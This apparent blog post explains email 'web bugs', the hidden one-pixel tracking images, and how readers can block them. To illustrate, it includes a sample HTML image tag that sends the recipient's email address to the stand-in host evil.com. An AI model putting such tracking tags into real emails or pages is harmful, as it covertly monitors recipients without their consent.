Web Bugs: Is your email infested?

In as earlier post I mentioned Web Bugs. Web Bugs are a piece of code that is virtually invisible to users of the web, but they allow the users of them to track you. How this works is they add an image to an email (most of us are using HTML email these days) and they add this image in a way that you don’t see it. How do they do that? By making it a 1 pixel (the smallest dot on your computer screen) and then making that pixel transparent (so even if you knew which pixel you couldn’t see it). The trick is that the image isn’t an image at all, but a special webpage that is designed to return a clear 1 pixel image while recording and interpreting the query string data in the request. So a regular image might look like this in your web coded email <img height="110" src="http://www.images.com/puppies.jpg" width="120" />; but the web bugged one might look like this: <img src="http://www.evil.com/tracker.cgi?email=you@email.com" width="1" /> The part where it has your email address (you@email.com in this case) is passed to evil.com’s server where they can record your computers address (IP address) the time you accessed the email and then record every time you open that mail. If they wanted to, they could even put a cookie on your machine to track you if you went to another site where evil.com had code running (or images showing like an ad server).

Why do spammers, snoops and stalkers use this kind of tool? Because it works and because they can be sure you got the message. In newer versions on email programs (like Outlook, Eudora, Thunderbird, etc.) users can set up their mail so that images do not show automatically. You may have already seen a page that looks like this:

The reason you have to click on a link to show the images is that it gives you a chance to see if this email is one you want to view before letting a potential spammer know that they now have your email address. Since many web Mail companies (gmail, live, yahoo, etc.) automatically show you HTML emails, the Web Bugs work by default on those sites (which are used by a majority of web users).

Before, I mentioned stalkers. That was not an idle statement. Several web companies now sell you the ability to attach web bugs so that you can tell if someone has received your email. Since the technology is pretty simple, most companies that do email marketing on the web, have built their own Web Bug engines to help them track users. In many cases web filters and anti-spam filters block the sites the bugs attach to but this is only effective as a reactive means of protection. If you are truly concerned about Web Bugs tracking you online, switching your email client to “text only” from HTML email” will ensure that these Web Bugs can’t track you.